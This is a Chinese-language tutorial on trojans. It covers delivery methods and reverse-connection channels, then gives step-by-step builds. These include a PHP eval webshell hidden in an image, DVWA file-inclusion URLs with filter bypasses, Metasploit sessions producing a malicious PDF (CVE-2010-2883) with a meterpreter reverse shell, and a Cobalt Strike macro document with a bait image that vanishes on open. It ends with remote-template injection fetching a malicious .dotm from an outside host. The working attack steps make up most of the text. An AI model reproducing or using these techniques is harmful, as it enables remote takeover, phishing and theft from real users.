木马-理论基础
木马全称为特洛伊木马,来源于古希腊神话。木马是通过欺骗或诱骗的方式安装,并在用户的计算机中隐藏以实现控制用户计算机的目的
- 具有远程控制、信息窃取、破坏的恶意代码
木马具有如下特点:
- 欺骗性
木马都有很强的欺骗性,执行通常都由被攻击者自己执行起来的
- 隐藏性
- 非授权性
执行恶意操作是没有经过用户授权的
- 交互性
主机之外的攻击者可以通过某种方式对主机进行交互
木马的植入方式
- 网页挂马植入
通过网页挂MA实现比较典型,通常需要利用浏览器或相关漏洞,再结合实时新闻、热点话题制作相关网页,将漏洞和网页结合,最后生成恶意网页,当用户打开网页时,远程的木马程序会自动下载和安装。常见的漏洞比如:MS06014、MS10003。
- 电子邮件植入(鱼叉攻击)
电子邮件植入最常见的是通过附件的形式,当用户打开附件时被注入木马;另一种是电子邮件与恶意网页相结合,由于电子邮件是支持HTML正文的,如果将相关漏洞植入到网页中,也是能够达到相关的效果。即使不打开附件,选中就会被植入(以HTML格式发送,如求职者)
- 文档捆绑植入
通过office文档、pdf文档漏洞等将文档进行捆绑,当用户打开文档时会触发漏洞,从而释放木马或执行shellcode执行远程攻击。这种文档同时也常用于邮件附件的形式发送。
- 伪装欺骗植入
比如可以对exe的文件后缀名进行修改,在原本一个“exe”文件前增加“doc”,然后输入很多空格让其exe不显示出来,再修改成文档类图标,从而进行伪装;另一种是更改后缀名(Unicode翻转字符),将“cod”进行翻转,再就是图标伪装等。
- 捆绑植入
EXE捆绑、文档嵌入、多媒体文件、电子书植入。
- 其他
比如特定U盘植入(故意丢弃、或者工作U盘、数据拷贝等)、社会工程等。
远控木马的通信方式
木马的控制端和被控端要通信,首先要建立传输的通道,常见的传输通道构建需要通过IP地址、端口等信息、第三方网站地址实现。建立通信的方式包括两类:
正向连接
反向连接
1.正向连接
正向连接是指控制端主动去连接被控制端,需要被控制端开放相关端口来供控制端连接。首先,控制端会去连接被控端,然后发送相关的控制指令,被控端会将主机上的相关信息反馈给控制端,通常包括IP地址、MAC地址、计算机名称、内存大小等。
- 优点
攻击者无需外部IP地址,只要能够上网,就能够去连接远程主机
木马样本不会泄露攻击者IP地址,木马不会主动去对外连接,不会泄露IP - 缺点
可能被防火墙阻挡
被攻击者必须具备外部IP地址
2.反向连接
第一种方式是右边的被控端(服务端)主动连接控制端主机,这种情况下防火墙一般会允许通过,尤其是目前很多木马程序采用80端口作为远程连接的端口,防火墙会非常信任。
- 优点
通过防火墙相对容易
可以控制局域网内的目标
攻击目标随时上线,攻击者可以进行随时控制,因为攻击者控制服务器一直在线,只要被控端上线就会连接过来,甚至可以通过短信等方式告知。 - 缺点
样本会暴露控制服务器信息(域名或IP)
攻击者通常应当具有外部IP
关于反向连接,还有另外一种方式,被控端和控制端之间有个第三方的肉J,它们都和第三方通信,比如肉鸡、Web服务器。
- 优点
可绕过防火墙,自动连接上线,不易被发现(代理) - 缺点
肉鸡的稳定性需要保障
3.通信协议
TCP协议 – 稳定、易被发现 HTTP协议伪装
UDP协议 – 和TCP一样也有正向、反向两种方式 负载比TCP少,但是可靠性低
ICMP+TCP/UDP
该方式平时不开启端口,但会监听ICMP报文,以感知木马数据。当攻击者想对这台主机控制时,可以发送ICMP报文,发过来之后控制端监听到特定报文时,就知道到想要进行监听并开启相关端口。ICMP报文是由系统内核或进程直接处理而不是通过端口,其方式比较隐蔽,一般不会被防火墙过滤。
1. 图片马
简单说明
将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗透中,通常将脚本编写的webshell和图片合成一个新的木马,结合web的文件上传漏洞进行利用,获取网站应用的webshell权限。
制作方法
准备一个一句话木马,文件名为pass.php
<?php
@eval($_POST['pass']);
?>
准备一张图片,文件名为image.jpg
- windows下cmd下使用命令:
copy image.jpg/b + pass.php/a muma.jpg
生成一张图片木马,文件名为muma.jpg
命令与参数说明:
copy:将文件复制或者是合并,/b的意思是以前边图片二进制格式为主,进行合并,合并后的文件依旧是二进制文件,实用于图像/声音等二进制文件。/a的意思是指定以ASCII格式复制,合并文件。用于txt等文本类型文档。
- linux下
cat image.jpg pass.php > muma.png
DVWA下图片马的利用
环境 DVWA 1.8
通过文件上传功能上传图片马至服务器,获取文件上传地址
Low Security Level
LFI(本地文件包含)
http://192.168.4.128/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/muma.jpg
或 http://192.168.4.128/dvwa/vulnerabilities/fi/?page=…/…/hackable/uploads/muma.jpg
RFI(远程文件包含)
http://192.168.4.128/dvwa/vulnerabilities/fi/?page=http://192.168.4.128/dvwa/hackable/uploads/muma.jpg
Medium Security Level
LFI(本地文件包含)
本地文件没有影响
RFI(远程文件包含)
过滤http://和https://并删除
双写绕过:
http://192.168.4.128/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.4.128/dvwa/hackable/uploads/muma.jpg
大小写混淆绕过:
http://192.168.4.128/dvwa/vulnerabilities/fi/?page=HTTP://192.168.4.128/dvwa/hackable/uploads/muma.jpg
http://192.168.4.128/dvwa/vulnerabilities/fi/?page=file:///var/www/dvwa/hackable/uploads/muma.jpg
2.msfvenom生成PDF马
2.1 原理
根据漏洞 CVE-2010-2883 Adobe Reader栈溢出漏洞
漏洞描述
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF就有可能导致执行任意恶意代码
Adobe Reader 8.2.4到9.3.4之间的版本
根据CVE查找相应的模块
本机IP 192.168.3.151 靶机 152
2.2 木马文件利用
利用PDF文件漏洞 -- use exploit/windows/fileformt/adobe_cooltype_sing
配置攻击在和到攻击机的连接 – set payload windows/meterpreter/reverse_tcp
设置攻击机IP和端口号 – set lhost 192.168.3.151 set lport 4444
设置生成木马文件名 – set filename test.pdf
生成 – exploit
msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set lhost 192.168.3.151
lhost => 192.168.3.151
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set lport 4444
lport => 4444
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set filename test.pdf
filename => test.pdf
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
[*] Creating 'test.pdf' file...
[+] test.pdf stored at /root/.msf4/local/test.pdf
2.3 PDF文件利用
打开监听模块 – use multi/handler
加载连接载荷 – set payload windows/meterpreter/reverse_tcp
设置攻击机IP及端口 – set lhost 192.168.3.151 set lport 4444
开始监听 – exploit
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.3.151
lhost => 192.168.3.151
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.3.151:4444
[*] Sending stage (175174 bytes) to 192.168.3.152
[*] Meterpreter session 1 opened (192.168.3.151:4444 -> 192.168.3.152:1052) at 2021-04-14 17:05:07 +0800
meterpreter >
2.4 PDF链接利用
利用PDF漏洞 -- use exploit/windows/browser/adobe_cooltype_sing
配置攻击在和到攻击机的连接 – set payload windows/meterpreter/reverse_tcp
设置攻击机IP和端口号 – set lhost 192.168.3.151 set lport 4444
利用 – exploit
msf6 > use exploit/windows/browser/adobe_cooltype_sing
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/adobe_cooltype_sing) > set lhost 192.168.3.151
lhost => 192.168.3.151
msf6 exploit(windows/browser/adobe_cooltype_sing) > set lport 4444
lport => 4444
msf6 exploit(windows/browser/adobe_cooltype_sing) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.3.151:4444
[*] Using URL: http://0.0.0.0:8080/XTM0Pd4fMd
[*] Local IP: http://192.168.3.151:8080/XTM0Pd4fMd
[*] Server started.
靶机浏览器访问pdf链接
3.Cobalt Strike生成office宏木马
3.1 引诱用户打开office宏
选择一张jpg简历图片虚化后添加文字“当前内容已加密,请打开宏查看具体内容”引诱用户打开office宏功能,添加图片控件设置为 浮于文字上方 ,并将控件拉满文档。控件属性设置为虚化图片的名称。
![test1](https://gitee.com/zhangwenbo1229/picgo/raw/master/main/20210602141348.jpg)
![test](https://gitee.com/zhangwenbo1229/picgo/raw/master/main/20210602141404.jpg)
![image-20210602141204880](https://gitee.com/zhangwenbo1229/picgo/raw/master/main/20210602141205.png)
![image-20210602141327585](https://gitee.com/zhangwenbo1229/picgo/raw/master/main/20210602141327.png)
最后效果
![image-20210602141457528](https://gitee.com/zhangwenbo1229/picgo/raw/master/main/20210602141457.png)
3.2 使用CS生成office宏木马文件
Cobalt Strike 点击Attacks-packages-MS Office Macro
创建监听器
自动生成Macro payload
3.3 将宏payload添加至office文件
创建名为 Auto_Open的宏 ,在auto_open()函数首部编写代码,设置图片的位置为0、高度为0,让宏运行后doc上图片消失,然后保存为docm文件。
Project.ThisDocument.Image1.Top = 0
Project.ThisDocument.Image1.Width = 0
3.4 CS上线
打开office,可以看到弹出office的警告了。受害者打开office文件,点击启用宏,cs成功上线。
3.5 模板文件远程加载宏木马文件
将恶意文件上传至服务器
首先将刚才已经制作好的含有恶意代码的模版文件上传到服务器上,采用gitee 将恶意office文件上传至gitee,得到恶意office文件地址
https://gitee.com/XXX/test/blob/master/test.dotm
并在url后面加上?raw=true,最终结果如下
https://gitee.com/XXX/test/blob/master/test.dotm?raw=true
解压正常docx模板文件
打开word找到任意一个模板双击使用,不做处理保存在任意路径下。
修改文件后缀为zip,将其解压缩。得到文件目录如下。
将恶意文件链接隐藏至正常文件中
找到在word/_rels/路径下的settings.xml.rels文件,修改此文件将其target属性值改为 恶意文件URL
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://gitee.com/XXX/test/blob/master/test.dotm?raw=true" TargetMode="External"/></Relationships>
接下来将刚才解压生成的文件压缩回去,并且改名为后缀名为docx的文件。
靶机打开,木马上线。